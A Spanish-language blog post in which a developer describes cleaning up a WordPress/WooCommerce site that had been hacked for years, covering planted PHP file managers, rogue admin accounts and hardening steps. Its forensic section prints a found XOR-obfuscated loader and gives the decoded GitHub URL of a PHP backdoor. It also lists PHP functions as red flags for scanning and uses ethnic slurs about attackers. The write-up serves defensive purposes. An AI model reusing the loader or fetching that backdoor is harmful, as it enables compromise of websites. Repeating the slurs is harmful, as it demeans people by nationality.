La horrible tarea de limpiar un sitio hackeado

30/03/2026 - 09:00:00 por Fabio Baccaglioni - 241 - 4 - En Programación

Les juro que a mi me divierte, pero al mismo tiempo me indigna, limpiar sitios web hackeados es una tarea, a veces titánica y en especial cuando se busca conservar lo que el dueño tenía originalmente allí.

Durante el finde pasado estuve limpiándole un sitio Wordpress a una amiga desde donde vende su producto, es un simple WP + WooCommerce como podemos encontrar en muchísimos sitios de la red, pero la seguridad no era su fuerte y cuando llegué yo ya llevaba varios años hackeado...

Encontrando los hacks

El sitio tenía un template viejo y desde allí un par de plugins que no habían recibido actualización en años.

Primero que nada lo obvio es buscar archivos modificados recientemente, carpetas y archivos, así que lo usual es ordenar por fecha y ver dónde se metieron. Es una solución rápida y chancha, no suele ser la mejor.

En el caso de Wordpress es normal que hackeen absolutamente todo. Se usan scripts automatizadores así que no es que hay un flaco del otro lado persiguiéndote. En cambio dejó un script que "siembra" una infinidad de hacks y cuando borrás uno ya tiene instalados dos más porque sabe que la mayoría de los que administran sitios no tienen tanta paciencia.

Lo usual es que dejen cientos de pequeños archivos en carpetas o con nombres muy parecidos a los "oficiales" en cualquier lado, estos son simples file managers en PHP, así que te dejan puertas de entrada por todos lados.

Lo segundo es usar un "payload" más grandote que haga "algo" en el servidor, sea envío de spam, robo de credenciales, instalación de usuarios falsos con permisos, desactivación de plugins de seguridad, etc.

De hecho, en este sitio apenas se dieron cuenta que había entrado un nuevo admin cargaron un nuevo ataque que desactivaba Wordfence (plugin de seguridad para Wordpress) apenas podían. Me la hicieron complicada al principio.

El contraataque inicial

Al notar que la cosa venía "profunda" decidí empezar primero por borrar completamente las carpetas /wp-admin y /wp-includes y reinstalar todo de cero, limpio, sin más.

Actualicé plugins que habían sido la puerta de entrada, un WP Backery viejo y un Slider Revolution de la época de la Revolución de Mayo eran los más obvios, desde allí podrían haber hecho lo que quisieran y lo hicieron, este último tenía varios bugs de serveridad superior a 8.9, así que estaba en el horno.

Aquí debía ser cuidadoso, es un sitio en productivo, cualquier cosa que uno borra afecta al cliente, aunque fuese una amiga la cagada puede ser grande, así que obviamente ANTES de todo esto había hecho backup.

Lo que noté era que había carpetas numeradas dando vueltas por ahí y dentro un simple index.php, ahí estaba usualmente el file manager con el que hacían el resto.

Luego de actualizar todo y reactivar el Wordfence creía que estaba todo ok y me fui a dormir.

El retorno del quetejedi

Error, obviamente, pequé de inocente y creí que no iban a romper más los quinotos, pero al día siguiente me encontré con el sitio igual de mal, todo infectado del mismo modo y ya sabía que no era por culpa de los plugins porque los acababa de actualizar. 

Era porque no había hecho una curaduría completa, así que hice una muy fácil, ya que la mayoría de los hacks que estaban usando dejaban carpetas con un simple index.php... busqué todos los index!

En Wordpress hay pocos que tengan contenido, además del principal y el del admin,  el resto son archivos vacíos para que no se muestre el directorio, nada más. Así encontré una gran variedad de inyectados en cualquier lugar.

Volví a borrar y reemplazar /wp-admin y /wp-includes porque no hacía falta explorarlos, sabía que tenían cientos de invitados extra.

Pero lo otro que noté fue que había usuario administrador extra y que los logins los hacían con el admin de mi amiga ¡Qué boludo! Me había olvidado de cambiarle el password, hacía siglos que lo tenían 😁 bueno che, parecía seguro y todo, pero lo que pasa es que me había concentrado en los archivitos. Sencillamente entraba un turco de mierda, desativaba Wordfence y se agregaba un par de usuarios.

Borrado todo, limpieza total de plugins innecesarios, themes afuera, caché borrada y reiniciada y listo.

Luego implementé un par de trucos extra que tengo bajo la manga y ya estaba para funcionar sin hacks.

Napalm

Para cerrar el caso instalé un plugin que vengo armando para seguridad, funciona como Wordfence, pero es mío y tiene otras características que aprendí en mi propio blog sobre qué hacen cuando te quieren reventar un sitio.

algún día publicaré mi plugin de seguridad, por ahora lo tengo a prueba en escenarios reales productivos

Luego puse Cloudflare en el medio (con mis super reglas anti países de mierda y proveedores usados para ataques) y cambié varias configs de Wordfence para ser super agresivo con los ataques, más sabiendo que nadie usa el XML-RPC o cosas así, todo eso bloqueadísimo.

Apenas reactivé todo el ataque masivo provino de 95.5.187.147, un IP de Turquía, lo que me dejaba en claro quiénes eran los responsables, más de 8000 intentos de entrar a hacer maldades llegaron desde allí.

Con mi plugin loco descubrí varios IPs de Microsoft que se usan para atacar servidores, son escanners, pero buscan estos mismos archivitos PHP que inyectan, no es que sean muy pillos.

Forense

Uno de los scripts que encontré era bastante simple usaba un clásico ofuscador de urls:

function xorEncryptDecrypt($data, $key) {
    $output = '';
    foreach (str_split($data) as $char) {
        $output .= chr(ord($char) ^ ord($key));
    }
    return $output;
}
$_ = "!";
	$url = xorEncryptDecrypt("S@VFHUITCTRDSBNOUDOUBNL", $_);
	$path = xorEncryptDecrypt("M@NMHDS[HBNLLHURQIQCESDGRID@ERL@HOYDOHTLQIQ", $_);

Convertido esto el path lleva a https://raw.githubusercontent.com/laolierzi-commits/phpbd/refs/heads/main/xenium4.php y, además, en esos strings hay caracteres no visibles escondidos en la cadena, entre el S@V y el FHU inicial hay un hexa 0f ahí colado, pueden ver ese tipo de caracteres escondidos aquí. Aquí en la web se va a ver el caracter, pero en la mayoría de los editores de código no (ni idea, debe ser un tema de los IDE y el widget de texto).

Ahí noté que Github estaba permitiendo usar scripts para inyectar directamente, algo que deberían poder evitar, pero no lo hacen, es un file manager, como era de esperar.

En esa cuenta de Github, sea apócrifa o robada, sirven decenas de scripts para hacer daño, ahí mismo tienen un disclaimer diciendo que "This repository contains PHP backdoors and webshells for EDUCATIONAL, SECURITY RESEARCH, AND AUTHORIZED TESTING PURPOSES ONLY.", si claro.

Usan Github porque saben que nadie va a bloquear conexiones hacia allí y porque, ya pude comprobarlo, por más que denuncies estos repositorios la empresa (que pertenece a Microsoft) no hará nada para bajarlos y, si lo hace, será muy tarde.

Desde ya, si van a escanear archivos buscando exploits, un simple search por estos comandos es una bandera roja:
eval(), base64_decode(), gzinflate(), str_rot13(), system(), exec(), shell_exec(), passthru(), assert(), create_function(), call_user_func()

No te digo de desactivarlas de PHP... pero en sitios en producción no estaría mal, de hecho, yo tengo desactivadas unas cuantas, no todas porque muchas son usadas por distintos scripts, pero no vas a poder tirar un exec en este servidor, por ejemplo.

Otro detalle interesante es que este script (no otros) tenía el código de una imagen por delante, antes del PHP, no tengo idea cómo lo ejecutaban, pero es una buena forma para engañar escáners que sólo toman los primeros bytes para corroborar que el archivo sea lo que dice ser.

hack encontrado "detrás" de una imagen

Los otros scripts también me los guardé, uno con un payload enorme en base64 y el otro un file manager más, ningún antivirus los identifica como algo malo, en sí porque no suelen ser código dañino sino que se usan para inyectar el daño.

A partir de ese repo llegué a otro más que directamente te publica exploits, es que hace mucho que no estoy en el tema, pero es también la forma en la que muchos White Hats trabajan, o no tan white, qué se yo, lo mío no es el bugtracking ni busco cobrar dinero por ello.

Recomendación para todos: backup y revisar actividad en el sitio, leer logs una vez cada tanto, instalar plugins de seguridad, programar uno propio 😁

PS: si, tal vez un día de estos publico el mío, jeje.